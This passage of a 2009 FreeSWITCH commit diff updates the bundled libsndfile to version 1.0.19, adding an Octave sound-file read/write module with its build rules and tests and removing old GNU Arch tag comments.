+dnl purpose is hereby granted without fee, provided that the above copyright
+dnl and this permission notice appear in all copies.  No representations are
+dnl made about the suitability of this software for any purpose.  It is
+dnl provided "as is" without express or implied warranty.
+
+
+AC_DEFUN([AC_OCTAVE_BUILD],
+[
+
+dnl Default to no.
+OCTAVE_BUILD=no
+
+AC_OCTAVE_VERSION
+AC_MKOCTFILE_VERSION
+AC_OCTAVE_CONFIG_VERSION
+
+prog_concat="$ac_cv_prog_HAVE_OCTAVE$ac_cv_prog_HAVE_OCTAVE_CONFIG$ac_cv_prog_HAVE_MKOCTFILE"
+
+if test "x$prog_concat" = "xyesyesyes" ; then
+	if test "x$OCTAVE_VERSION" != "x$MKOCTFILE_VERSION" ; then
+		AC_MSG_WARN([** Mismatch between versions of octave and mkoctfile. **])
+		AC_MSG_WARN([** Octave libsndfile modules will not be built.       **])
+	elif test "x$OCTAVE_VERSION" != "x$OCTAVE_CONFIG_VERSION" ; then
+		AC_MSG_WARN([** Mismatch between versions of octave and octave-config. **])
+		AC_MSG_WARN([** Octave libsndfile modules will not be built.           **])
+	else
+		case "$MKOCTFILE_VERSION" in
+			2.*)
+				AC_MSG_WARN([Octave version 2.X is not supported.])
+				;;
+			3.0.*)
+				OCTAVE_DEST_ODIR=`$OCTAVE_CONFIG --oct-site-dir | sed 's%^/usr%${prefix}%'`
+				OCTAVE_DEST_MDIR=`$OCTAVE_CONFIG --m-site-dir | sed 's%^/usr%${prefix}%'`
+
+				OCTAVE_BUILD=yes
+				;;
+			*)
+				AC_MSG_WARN([Octave version $MKOCTFILE_VERSION is not supported.])
+				;;
+				esac
+		fi
+	AC_MSG_RESULT([building octave libsndfile module... $OCTAVE_BUILD])
+	fi
+
+AC_SUBST(OCTAVE_DEST_ODIR)
+AC_SUBST(OCTAVE_DEST_MDIR)
+
+AC_SUBST(MKOCTFILE)
+
+AM_CONDITIONAL(BUILD_OCTAVE_MOD, test "x$OCTAVE_BUILD" = xyes)
+
+])# AC_OCTAVE_BUILD

Modified: freeswitch/branches/seven/libs/libsndfile/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,28 +1,29 @@
-# Process this file with automake to produce Makefile.in
-
-SUBDIRS = Win32 Octave src
-# man doc Win32 examples regtest tests
-DIST_SUBDIRS = $(SUBDIRS)
-EXTRA_DIST = reconfigure.mk acinclude.m4 libsndfile.spec.in \
-			sndfile.pc.in Mingw-make-dist.sh
-
-			 
-pkgconfigdir = $(libdir)/pkgconfig
-pkgconfig_DATA = sndfile.pc
-
-m4datadir = $(datadir)/aclocal
-
-test: check-recursive
-
-# Target to make autogenerated files.
-genfiles :
-	(cd src ; make genfiles)
-	(cd tests ; make genfiles)
-
-
-## Do not edit or modify anything in this comment block.
-## The arch-tag line is a file identity tag for the GNU Arch 
-## revision control system.
-##
-## arch-tag: e40c569e-8020-4e95-b774-6b0703614526
-
+## Process this file with automake to produce Makefile.in
+
+DISTCHECK_CONFIGURE_FLAGS = --enable-gcc-werror
+
+if BUILD_OCTAVE_MOD
+octave_dir = Octave
+endif
+
+SUBDIRS = M4 Win32 src $(octave_dir) 
+#man doc examples regtest tests programs
+
+DIST_SUBDIRS = M4 man doc Win32 src Octave examples regtest tests programs
+
+EXTRA_DIST = libsndfile.spec.in sndfile.pc.in Mingw-make-dist.sh
+
+
+pkgconfigdir = $(libdir)/pkgconfig
+pkgconfig_DATA = sndfile.pc
+
+m4datadir = $(datadir)/aclocal
+
+test: check-recursive
+
+# Target to make autogenerated files.
+genfiles :
+	(cd src ; make genfiles)
+	(cd tests ; make genfiles)
+
+

Modified: freeswitch/branches/seven/libs/libsndfile/Mingw-make-dist.sh (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/Mingw-make-dist.sh	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/Mingw-make-dist.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -114,9 +114,3 @@
 	zip -r $ZIPNAME $INSTALL/
 	fi
 
-
-# Do not edit or modify anything in this comment block.
-# The following line is a file identity tag for the GNU Arch
-# revision control system.
-#
-# arch-tag: 3f82cd8a-f800-48d7-9646-2cdcf03c81a0

Modified: freeswitch/branches/seven/libs/libsndfile/NEWS (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/NEWS	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/NEWS	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,13 @@
+Version 1.0.19 (2009-03-02)
+  * Fix for CVE-2009-0186 (Alin Rad Pop, Secunia Research).
+  * Huge number of minor bug fixes as a result of static analysis.
+
+Version 1.0.18 (2009-02-07)
+  * Add Ogg/Vorbis support (thanks to John ffitch).
+  * Remove captive FLAC library.
+  * Many new features and bug fixes.
+  * Generate Win32 and Win64 pre-compiled binaries.
+
 Version 1.0.17 (2006-08-31)
   * Add sndfile.hh C++ wrapper.
   * Update Win32 MinGW build instructions.

Modified: freeswitch/branches/seven/libs/libsndfile/Octave/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/Octave/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/Octave/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,14 +1,72 @@
 ## Process this file with automake to produce Makefile.in
 
-EXTRA_DIST = sndfile_load.m sndfile_save.m sndfile_play.m
+# Prevent any extension.
+EXEEXT =
 
+CXXLD = $(CXX)
+CXXLINK = $(LIBTOOL) --tag=CXX --mode=link $(CXXLD) $(AM_CXXFLAGS) \
+	$(CXXFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@
+
+EXTRA_DIST = sndfile_load.m sndfile_save.m sndfile_play.m \
+	octave_test.m octave_test.sh $(oct_module_srcs) PKG_ADD
+
 octconfigdir = $(exec_prefix)/share/octave/site/m
 octconfig_DATA = sndfile_load.m sndfile_save.m sndfile_play.m
-	
 
-## Do not edit or modify anything in this comment block.
-## The arch-tag line is a file identity tag for the GNU Arch 
-## revision control system.
-##
-## arch-tag: 56f1645a-3a13-4846-acc7-8b4abf2904ff
+OCTAVE_DEST_MDIR = @OCTAVE_DEST_MDIR@
+OCTAVE_DEST_ODIR = @OCTAVE_DEST_ODIR@/sndfile
 
+OCT_CXXFLAGS = @OCT_CXXFLAGS@
+OCT_LIB_DIR = @OCT_LIB_DIR@
+OCT_LIBS = @OCT_LIBS@
+
+SNDFILEDIR = $(top_builddir)/src
+INCLUDES = -I$(SNDFILEDIR)
+
+oct_module_srcs = sndfile.cc
+oct_module_files = sndfile.oct PKG_ADD
+
+# Make these noinst so they can be installed manually.
+noinst_DATA = $(oct_module_files)
+
+
+# Use Octave's mkoctfile to do all the heavy lifting. Unfortunately, its
+# a little dumb so we need to guide it carefully.
+sndfile.oct : sndfile.o
+	$(MKOCTFILE) -v $(INCLUDES) $(top_builddir)/Octave/$+ -L$(SNDFILEDIR)/.libs -L$(SNDFILEDIR) -lsndfile -o $(top_builddir)/Octave/$@
+
+sndfile.o : sndfile.cc
+	$(MKOCTFILE) -v $(INCLUDES) -c $+ -o $(top_builddir)/Octave/$@
+
+# Allow for the test being run in the build dir, but the test script
+# being located in the source dir.
+check :
+	octave_src_dir=$(srcdir) $(srcdir)/octave_test.sh
+
+
+# Since the octave modules are installed in a special location, a custom install
+# and uninstall routine must be specified.
+install-exec-local : $(oct_module_files)
+	@$(NORMAL_INSTALL)
+	test -z "$(OCTAVE_DEST_ODIR)" || $(mkdir_p) "$(DESTDIR)$(OCTAVE_DEST_ODIR)"
+	@list='$(oct_module_files)'; for p in $$list; do \
+	  p1=`echo $$p|sed 's/$(EXEEXT)$$//'`; \
+	  if test -f $$p \
+	     || test -f $$p1 \
+	  ; then \
+	    f=`echo "$$p1" | sed 's,^.*/,,;$(transform);s/$$/$(EXEEXT)/'`; \
+	   echo " $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=install $(INSTALL) '$$p' '$(DESTDIR)$(OCTAVE_DEST_ODIR)/$$f'"; \
+	   $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=install $(INSTALL) "$$p" "$(DESTDIR)$(OCTAVE_DEST_ODIR)/$$f" || exit 1; \
+	  else :; fi; \
+	done
+
+uninstall-local :
+	@$(NORMAL_UNINSTALL)
+	@list='$(oct_module_files)'; for p in $$list; do \
+	  f=`echo "$$p" | sed 's,^.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/'`; \
+	  echo " rm -f '$(DESTDIR)$(OCTAVE_DEST_ODIR)/$$f'"; \
+	  rm -f "$(DESTDIR)$(OCTAVE_DEST_ODIR)/$$f"; \
+	done
+
+clean-local :
+	rm -f sndfile.o sndfile.oct

Copied: freeswitch/branches/seven/libs/libsndfile/Octave/PKG_ADD (from rev 14471, freeswitch/trunk/libs/libsndfile/Octave/PKG_ADD) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/Octave/PKG_ADD	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/Octave/PKG_ADD	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+autoload ("sfread", "sndfile.oct");
+autoload ("sfversion", "sndfile.oct");
+autoload ("sfwrite", "sndfile.oct");

Copied: freeswitch/branches/seven/libs/libsndfile/Octave/octave_test.m (from rev 14471, freeswitch/trunk/libs/libsndfile/Octave/octave_test.m) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/Octave/octave_test.m	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/Octave/octave_test.m	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,56 @@
+# Copyright (C) 2007 Erik de Castro Lopo <erikd@mega-nerd.com>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published by
+# the Free Software Foundation; either version 2.1 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+
+# These tests are nowhere near comprehensive.
+
+printf ("\n\n\n\n\n\n\n") ;
+
+printf ("    Running Octave tests : ") ;
+fflush (stdout) ;
+
+filename = "whatever" ;
+srate_out = 32000 ;
+fmt_out = "wav-float" ;
+
+t = (2 * pi / srate_out * (0:srate_out-1))' ;
+data_out = sin (440.0 * t) ;
+
+# Write out a file.
+sfwrite (filename, data_out, srate_out, fmt_out) ;
+
+# Read it back in again.
+[ data_in, srate_in, fmt_in ] = sfread (filename) ;
+
+if (srate_in != srate_out)
+	error ("\n\nSample rate mismatch : %d -> %d.\n\n", srate_out, srate_in) ;
+	endif
+
+# Octave strcmp return 1 for the same.
+if (strcmp (fmt_in, fmt_out) != 1)
+	error ("\n\nFormat error : '%s' -> '%s'.\n\n", fmt_out, fmt_in) ;
+	endif
+
+err = max (abs (data_out - data_in)) ;
+
+if (err > 1e-7)
+	error ("err : %g\n", err) ;
+	endif
+
+printf ("ok") ;
+
+printf ("\n\n\n\n\n\n\n") ;
+
+unlink (filename) ;

Copied: freeswitch/branches/seven/libs/libsndfile/Octave/octave_test.sh (from rev 14471, freeswitch/trunk/libs/libsndfile/Octave/octave_test.sh) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/Octave/octave_test.sh	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/Octave/octave_test.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,72 @@
+#!/bin/bash
+
+
+# Check where we're being run from.
+if [ -d Octave ]; then
+	cd Octave
+	fi
+
+# Find libsndfile shared object.
+libsndfile_lib_location=""
+
+if [ -f "../src/.libs/libsndfile.so" ]; then
+	libsndfile_lib_location="../src/.libs/"
+elif [ -f "../src/libsndfile.so" ]; then
+	libsndfile_lib_location="../src/"
+elif [ -f "../src/.libs/libsndfile.dylib" ]; then
+	libsndfile_lib_location="../src/.libs/"
+elif [ -f "../src/libsndfile.dylib" ]; then
+	libsndfile_lib_location="../src/"
+else
+	echo
+	echo
+	echo "Not able to find the libsndfile shared lib we've just built."
+	echo "This may cause the following test to fail."
+	echo
+	echo
+	fi
+
+libsndfile_lib_location=`(cd $libsndfile_lib_location && pwd)`
+
+
+# Find sndfile.oct
+sndfile_oct_location=""
+
+if [ -f .libs/sndfile.oct ]; then
+	sndfile_oct_location=".libs"
+elif [ -f sndfile.oct ]; then
+	sndfile_oct_location="."
+else
+	echo "Not able to find the sndfile.oct binaries we've just built."
+	exit 1
+	fi
+
+case `file -b $sndfile_oct_location/sndfile.oct` in
+	ELF*)
+		;;
+	Mach*)
+		echo "Tests don't work on this platform."
+		exit 0
+		;;
+	*)
+		echo "Not able to find the sndfile.oct binaries we've just built."
+		exit 1
+		;;
+	esac
+
+
+# Make sure the TERM environment variable doesn't contain anything wrong.
+unset TERM
+
+# echo "libsndfile_lib_location : $libsndfile_lib_location"
+# echo "sndfile_oct_location : $sndfile_oct_location"
+
+export LD_LIBRARY_PATH="$libsndfile_lib_location:$LD_LIBRARY_PATH"
+
+octave_src_dir=`(cd $octave_src_dir && pwd)`
+
+octave_script="$octave_src_dir/octave_test.m"
+
+(cd $sndfile_oct_location && octave -qH $octave_script)
+
+

Copied: freeswitch/branches/seven/libs/libsndfile/Octave/sndfile.cc (from rev 14471, freeswitch/trunk/libs/libsndfile/Octave/sndfile.cc) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/Octave/sndfile.cc	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/Octave/sndfile.cc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,405 @@
+/*
+** Copyright (C) 2007 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU Lesser General Public License as published by
+** the Free Software Foundation; either version 2.1 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU Lesser General Public License for more details.
+**
+** You should have received a copy of the GNU Lesser General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include <octave/oct.h>
+
+#include "sndfile.h"
+
+#define FOUR_GIG 		(0x100000000LL)
+#define	BUFFER_FRAMES	8192
+
+
+static int format_of_str (const std::string & fmt) ;
+static void string_of_format (std::string & fmt, int format) ;
+
+
+DEFUN_DLD (sfversion, args, nargout ,
+"-*- texinfo -*-\n\
+@deftypefn {Loadable Function} {@var{version} =} sfversion ()\n\
+@cindex Reading sound files\n\
+Return a string containing the libsndfile version.\n\
+@seealso{sfread, sfwrite}\n\
+@end deftypefn")
+{	char buffer [256] ;
+	octave_value_list retval ;
+
+	/* Bail out if the input parameters are bad. */
+	if (args.length () != 0 || nargout > 1)
+	{	print_usage () ;
+		return retval ;
+		} ;
+
+	sf_command (NULL, SFC_GET_LIB_VERSION, buffer, sizeof (buffer)) ;
+
+	std::string version (buffer) ;
+
+	retval.append (version) ;
+	return retval ;
+} /* sfversion */
+
+
+DEFUN_DLD (sfread, args, nargout ,
+"-*- texinfo -*-\n\
+@deftypefn {Loadable Function} {@var{data},@var{srate},@var{format} =} sfread (@var{filename})\n\
+@cindex Reading sound files\n\
+Read a sound file from disk using libsndfile.\n\
+@seealso{sfversion, sfwrite}\n\
+@end deftypefn")
+{	SNDFILE * file ;
+	SF_INFO sfinfo ;
+
+	octave_value_list retval ;
+
+	int nargin  = args.length () ;
+
+	/* Bail out if the input parameters are bad. */
+	if ((nargin != 1) || !args (0) .is_string () || nargout < 1 || nargout > 3)
+	{	print_usage () ;
+		return retval ;
+		} ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	std::string filename = args (0).string_value () ;
+
+	if ((file = sf_open (filename.c_str (), SFM_READ, &sfinfo)) == NULL)
+	{	error ("sfread: couldn't open file %s : %s", filename.c_str (), sf_strerror (NULL)) ;
+		return retval ;
+		} ;
+
+	if (sfinfo.frames > FOUR_GIG)
+		printf ("This is a really huge file (%lld frames).\nYou may run out of memory trying to load it.\n", (long long) sfinfo.frames) ;
+
+	dim_vector dim = dim_vector () ;
+	dim.resize (2) ;
+	dim (0) = sfinfo.frames ;
+	dim (1) = sfinfo.channels ;
+
+	/* Should I be using Matrix instead? */
+	NDArray out (dim, 0.0) ;
+
+	float buffer [BUFFER_FRAMES * sfinfo.channels] ;
+	int readcount ;
+	sf_count_t total = 0 ;
+
+	do
+	{	readcount = sf_readf_float (file, buffer, BUFFER_FRAMES) ;
+
+		/* Make sure we don't read more frames than we allocated. */
+		if (total + readcount > sfinfo.frames)
+			readcount = sfinfo.frames - total ;
+
+		for (int ch = 0 ; ch < sfinfo.channels ; ch++)
+		{	for (int k = 0 ; k < readcount ; k++)
+				out (total + k, ch) = buffer [k * sfinfo.channels + ch] ;
+			} ;
+
+		total += readcount ;
+	} while (readcount > 0 && total < sfinfo.frames) ;
+
+	retval.append (out.squeeze ()) ;
+
+	if (nargout >= 2)
+		retval.append ((octave_uint32) sfinfo.samplerate) ;
+
+	if (nargout >= 3)
+	{	std::string fmt ("") ;
+		string_of_format (fmt, sfinfo.format) ;
+		retval.append (fmt) ;
+		} ;
+
+	/* Clean up. */
+	sf_close (file) ;
+
+	return retval ;
+} /* sfread */
+
+DEFUN_DLD (sfwrite, args, nargout ,
+"-*- texinfo -*-\n\
+@deftypefn {Function File} sfwrite (@var{filename},@var{data},@var{srate},@var{format})\n\
+Write a sound file to disk using libsndfile.\n\
+@seealso{sfread, sfversion}\n\
+@end deftypefn\n\
+")
+{	SNDFILE * file ;
+	SF_INFO sfinfo ;
+
+    octave_value_list retval ;
+
+    int nargin  = args.length () ;
+
+    /* Bail out if the input parameters are bad. */
+    if (nargin != 4 || !args (0).is_string () || !args (1).is_real_matrix ()
+			|| !args (2).is_real_scalar () || !args (3).is_string ()
+			|| nargout != 0)
+	{	print_usage () ;
+		return retval ;
+    	} ;
+
+    std::string filename = args (0).string_value () ;
+    std::string format = args (3).string_value () ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	sfinfo.format = format_of_str (format) ;
+	if (sfinfo.format == 0)
+	{	error ("Bad format '%s'", format.c_str ()) ;
+		return retval ;
+		} ;
+
+	sfinfo.samplerate = lrint (args (2).scalar_value ()) ;
+	if (sfinfo.samplerate < 1)
+	{	error ("Bad sample rate : %d.\n", sfinfo.samplerate) ;
+		return retval ;
+		} ;
+
+	Matrix data = args (1).matrix_value () ;
+	long rows = args (1).rows () ;
+	long cols = args (1).columns () ;
+
+	if (cols > rows)
+	{	error ("Audio data should have one column per channel, but supplied data "
+				"has %ld rows and %ld columns.\n", rows, cols) ;
+		return retval ;
+		} ;
+
+	sfinfo.channels = cols ;
+
+    if ((file = sf_open (filename.c_str (), SFM_WRITE, &sfinfo)) == NULL)
+	{	error ("Couldn't open file %s : %s", filename.c_str (), sf_strerror (NULL)) ;
+		return retval ;
+    	} ;
+
+	float buffer [BUFFER_FRAMES * sfinfo.channels] ;
+	int writecount ;
+	long total = 0 ;
+
+	do
+	{
+		writecount = BUFFER_FRAMES ;
+
+		/* Make sure we don't read more frames than we allocated. */
+		if (total + writecount > rows)
+			writecount = rows - total ;
+
+		for (int ch = 0 ; ch < sfinfo.channels ; ch++)
+		{	for (int k = 0 ; k < writecount ; k++)
+				buffer [k * sfinfo.channels + ch] = data (total + k, ch) ;
+			} ;
+
+		if (writecount > 0)
+			sf_writef_float (file, buffer, writecount) ;
+
+		total += writecount ;
+	} while (writecount > 0 && total < rows) ;
+
+    /* Clean up. */
+    sf_close (file) ;
+
+    return retval ;
+} /* sfwrite */
+
+
+static void
+str_split (const std::string & str, const std::string & delim, std::vector <std::string> & output)
+{
+    unsigned int offset = 0 ;
+    size_t delim_index = 0 ;
+
+    delim_index = str.find (delim, offset) ;
+
+    while (delim_index != std::string::npos)
+    {
+        output.push_back (str.substr(offset, delim_index - offset)) ;
+        offset += delim_index - offset + delim.length () ;
+        delim_index = str.find (delim, offset) ;
+    }
+
+    output.push_back (str.substr (offset)) ;
+} /* str_split */
+
+static int
+hash_of_str (const std::string & str)
+{
+	int hash = 0 ;
+
+	for (unsigned k = 0 ; k < str.length () ; k++)
+		hash = (hash * 3) + tolower (str [k]) ;
+
+	return hash ;
+} /* hash_of_str */
+
+static int
+major_format_of_hash (const std::string & str)
+{	int hash ;
+
+	hash = hash_of_str (str) ;
+
+	switch (hash)
+	{
+		case 0x5c8 : /* 'wav' */ return SF_FORMAT_WAV ;
+		case 0xf84 : /* 'aiff' */ return SF_FORMAT_AIFF ;
+		case 0x198 : /* 'au' */ return SF_FORMAT_AU ;
+		case 0x579 : /* 'paf' */ return SF_FORMAT_PAF ;
+		case 0x5e5 : /* 'svx' */ return SF_FORMAT_SVX ;
+		case 0x1118 : /* 'nist' */ return SF_FORMAT_NIST ;
+		case 0x5d6 : /* 'voc' */ return SF_FORMAT_VOC ;
+		case 0x324a : /* 'ircam' */ return SF_FORMAT_IRCAM ;
+		case 0x505 : /* 'w64' */ return SF_FORMAT_W64 ;
+		case 0x1078 : /* 'mat4' */ return SF_FORMAT_MAT4 ;
+		case 0x1079 : /* 'mat5' */ return SF_FORMAT_MAT5 ;
+		case 0x5b8 : /* 'pvf' */ return SF_FORMAT_PVF ;
+		case 0x1d1 : /* 'xi' */ return SF_FORMAT_XI ;
+		case 0x56f : /* 'htk' */ return SF_FORMAT_HTK ;
+		case 0x5aa : /* 'sds' */ return SF_FORMAT_SDS ;
+		case 0x53d : /* 'avr' */ return SF_FORMAT_AVR ;
+		case 0x11d0 : /* 'wavx' */ return SF_FORMAT_WAVEX ;
+		case 0x569 : /* 'sd2' */ return SF_FORMAT_SD2 ;
+		case 0x1014 : /* 'flac' */ return SF_FORMAT_FLAC ;
+		case 0x504 : /* 'caf' */ return SF_FORMAT_CAF ;
+		case 0x5f6 : /* 'wve' */ return SF_FORMAT_WVE ;
+		default : break ;
+		} ;
+
+	printf ("%s : hash '%s' -> 0x%x\n", __func__, str.c_str (), hash) ;
+
+	return 0 ;
+} /* major_format_of_hash */
+
+static int
+minor_format_of_hash (const std::string & str)
+{	int hash ;
+
+	hash = hash_of_str (str) ;
+
+	switch (hash)
+	{
+		case 0x1085 : /* 'int8' */ return SF_FORMAT_PCM_S8 ;
+		case 0x358a : /* 'uint8' */ return SF_FORMAT_PCM_U8 ;
+		case 0x31b0 : /* 'int16' */ return SF_FORMAT_PCM_16 ;
+		case 0x31b1 : /* 'int24' */ return SF_FORMAT_PCM_24 ;
+		case 0x31b2 : /* 'int32' */ return SF_FORMAT_PCM_32 ;
+		case 0x3128 : /* 'float' */ return SF_FORMAT_FLOAT ;
+		case 0x937d : /* 'double' */ return SF_FORMAT_DOUBLE ;
+		case 0x11bd : /* 'ulaw' */ return SF_FORMAT_ULAW ;
+		case 0xfa1 : /* 'alaw' */ return SF_FORMAT_ALAW ;
+		case 0xfc361 : /* 'ima_adpcm' */ return SF_FORMAT_IMA_ADPCM ;
+		case 0x5739a : /* 'ms_adpcm' */ return SF_FORMAT_MS_ADPCM ;
+		case 0x9450 : /* 'gsm610' */ return SF_FORMAT_GSM610 ;
+		case 0x172a3 : /* 'g721_32' */ return SF_FORMAT_G721_32 ;
+		case 0x172d8 : /* 'g723_24' */ return SF_FORMAT_G723_24 ;
+		case 0x172da : /* 'g723_40' */ return SF_FORMAT_G723_40 ;
+		default : break ;
+		} ;
+
+	printf ("%s : hash '%s' -> 0x%x\n", __func__, str.c_str (), hash) ;
+
+	return 0 ;
+} /* minor_format_of_hash */
+
+
+static const char *
+string_of_major_format (int format)
+{
+	switch (format & SF_FORMAT_TYPEMASK)
+	{
+		case SF_FORMAT_WAV : return "wav" ;
+		case SF_FORMAT_AIFF : return "aiff" ;
+		case SF_FORMAT_AU : return "au" ;
+		case SF_FORMAT_PAF : return "paf" ;
+		case SF_FORMAT_SVX : return "svx" ;
+		case SF_FORMAT_NIST : return "nist" ;
+		case SF_FORMAT_VOC : return "voc" ;
+		case SF_FORMAT_IRCAM : return "ircam" ;
+		case SF_FORMAT_W64 : return "w64" ;
+		case SF_FORMAT_MAT4 : return "mat4" ;
+		case SF_FORMAT_MAT5 : return "mat5" ;
+		case SF_FORMAT_PVF : return "pvf" ;
+		case SF_FORMAT_XI : return "xi" ;
+		case SF_FORMAT_HTK : return "htk" ;
+		case SF_FORMAT_SDS : return "sds" ;
+		case SF_FORMAT_AVR : return "avr" ;
+		case SF_FORMAT_WAVEX : return "wavx" ;
+		case SF_FORMAT_SD2 : return "sd2" ;
+		case SF_FORMAT_FLAC : return "flac" ;
+		case SF_FORMAT_CAF : return "caf" ;
+		case SF_FORMAT_WVE : return "wfe" ;
+		default : break ;
+		} ;
+
+	return "unknown" ;
+} /* string_of_major_format */
+
+static const char *
+string_of_minor_format (int format)
+{
+	switch (format & SF_FORMAT_SUBMASK)
+	{
+		case SF_FORMAT_PCM_S8 : return "int8" ;
+		case SF_FORMAT_PCM_U8 : return "uint8" ;
+		case SF_FORMAT_PCM_16 : return "int16" ;
+		case SF_FORMAT_PCM_24 : return "int24" ;
+		case SF_FORMAT_PCM_32 : return "int32" ;
+		case SF_FORMAT_FLOAT : return "float" ;
+		case SF_FORMAT_DOUBLE : return "double" ;
+		case SF_FORMAT_ULAW : return "ulaw" ;
+		case SF_FORMAT_ALAW : return "alaw" ;
+		case SF_FORMAT_IMA_ADPCM : return "ima_adpcm" ;
+		case SF_FORMAT_MS_ADPCM : return "ms_adpcm" ;
+		case SF_FORMAT_GSM610 : return "gsm610" ;
+		case SF_FORMAT_G721_32 : return "g721_32" ;
+		case SF_FORMAT_G723_24 : return "g723_24" ;
+		case SF_FORMAT_G723_40 : return "g723_40" ;
+		default : break ;
+		} ;
+	
+	return "unknown" ;
+} /* string_of_minor_format */
+
+static int
+format_of_str (const std::string & fmt)
+{
+	std::vector <std::string> split ;
+
+	str_split (fmt, "-", split) ;
+
+	if (split.size () != 2)
+		return 0 ;
+
+	int major_fmt = major_format_of_hash (split.at (0)) ;
+	if (major_fmt == 0)
+		return 0 ;
+
+	int minor_fmt = minor_format_of_hash (split.at (1)) ;
+	if (minor_fmt == 0)
+		return 0 ;
+
+	return major_fmt | minor_fmt ;
+} /* format_of_str */
+
+static void
+string_of_format (std::string & fmt, int format)
+{
+	char buffer [64] ;
+
+	snprintf (buffer, sizeof (buffer), "%s-%s", string_of_major_format (format), string_of_minor_format (format)) ;
+
+	fmt = buffer ;
+
+	return ;
+} /* string_of_format */

Modified: freeswitch/branches/seven/libs/libsndfile/Octave/sndfile_load.m (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/Octave/sndfile_load.m	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/Octave/sndfile_load.m	2009-08-09 18:53:22 UTC (rev 14472)
@@ -50,10 +50,3 @@
 	endif
 
 endfunction
-
-# Do not edit or modify anything in this comment block.
-# The arch-tag line is a file identity tag for the GNU Arch 
-# revision control system.
-#
-# arch-tag: 9d7ed7ce-41fe-4efe-8bde-f5fc6f46bb03
-

Modified: freeswitch/branches/seven/libs/libsndfile/Octave/sndfile_play.m (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/Octave/sndfile_play.m	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/Octave/sndfile_play.m	2009-08-09 18:53:22 UTC (rev 14472)
@@ -57,10 +57,3 @@
 	endif
 
 endfunction
-
-# Do not edit or modify anything in this comment block.
-# The arch-tag line is a file identity tag for the GNU Arch 
-# revision control system.
-#
-# arch-tag: 96fb14c8-2b5a-4b93-a576-ab83a6d9026b
-

Modified: freeswitch/branches/seven/libs/libsndfile/Octave/sndfile_save.m (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/Octave/sndfile_save.m	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/Octave/sndfile_save.m	2009-08-09 18:53:22 UTC (rev 14472)
@@ -51,10 +51,3 @@
 eval (str) ;
 
 endfunction
-
-# Do not edit or modify anything in this comment block.
-# The arch-tag line is a file identity tag for the GNU Arch 
-# revision control system.
-#
-# arch-tag: 5e44602b-940b-4927-af7c-47639769a40b
-

Modified: freeswitch/branches/seven/libs/libsndfile/README (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/README	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,28 +1,19 @@
-This is libsndfile, 1.0.17
+This is libsndfile, 1.0.19
 
-libsndfile is a library of C routines for reading and writing 
-files containing sampled audio data. 
+libsndfile is a library of C routines for reading and writing
+files containing sampled audio data.
 
 The src/ directory contains the source code for library itself.
 
 The doc/ directory contains the libsndfile documentation.
 
 The examples/ directory contains examples of how to write code using
-libsndfile. 'wav32_aiff24' converts a WAV file containing 32 bit floating 
-point data into a 24 bit PCM AIFF file. 'sndfile2oct' dumps the audio
